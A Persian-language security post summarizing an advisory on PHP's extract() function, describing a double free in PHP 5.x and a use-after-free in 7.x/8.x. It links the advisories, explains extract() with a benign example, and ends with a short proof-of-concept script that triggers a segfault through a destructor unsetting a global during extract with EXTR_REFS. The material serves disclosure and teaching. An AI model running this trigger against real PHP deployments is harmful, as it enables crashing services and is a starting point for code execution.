🔴 آسیب پذیری در تابع extract در PHP:
( https://ssd-disclosure.com/ssd-advisory-extract-double-free5-x-use-after-free7-x-8-x/ )
در نسخه های PHP 5.x تابع extract میتونه منجر به double free بشه. این نوع باگ زمانی رخ میده که یک بلوک حافظه دو بار آزاد بشه که میتونه باعث خرابی برنامه یا اجرای کد مخرب بشه.
در نسخههای PHP 7.x ,8.x این تابع میتونه منجر به یک خطای use after free بشه. در این حالت، برنامه به حافظهای که قبلاً آزاد شده دسترسی پیدا میکنه، که میتونه به اجرای کد دلخواه منجر بشه.
این آس.یبپذیریها به مهاجم امکان میده که کد مخرب رو (native code) اجرا کنن.
شرکت Zend (توسعهدهنده PHP) این مشکل رو برطرف کرده و جزئیاتش رو در یک مشاوره امنیتی در GitHub منتشر کرده. (فعلا بالا نمیاد)
( https://github.com/php/php-src/security/advisories/GHSA-4pwq-3fv3-gm94 )
تابع extract در PHP برای استخراج عناصر یک آرایه بصورت متغیرهای جداگانه استفاده میشه. این تابع کلیدهای آرایه رو بعنوان نام متغیرها و مقادیر آرایه رو بعنوان مقدار اون متغیرها تعریف میکنه.
( https://www.php.net/manual/en/function.extract.php )
<?php
$array = [
'name' => 'Ali',
'age' => 25,
'city' => 'Tabriz'
];
extract($array);
echo $name; // Output: Ali
echo $age; // Output: 25
echo $city; // Output: Tabriz
?>
از این تابع برای استخراج داده ها از آرایه های بازگشتی، قالبها، کار با داده های json یا فرمهای داینامیک که کلیدهای آرایه از قبل مشخص نیست استفاده میشه.
نمونه PoC:
<?php
//
// Trigger Segfault
//
class GetFree
{
public function __destruct()
{
unset($GLOBALS["b"]);
}
}
$b = new GetFree();
$array = ["b" => "AB"];
extract($array, EXTR_REFS);
// avoid string interning using str_shuffle
$var1 = str_shuffle("AAAAAAAAAAAAAAAAAAAAAAAA");
$var2 = 888;
$var3 = 999;
$var4 = 111;
$var5 = [$empty];
sleep(1);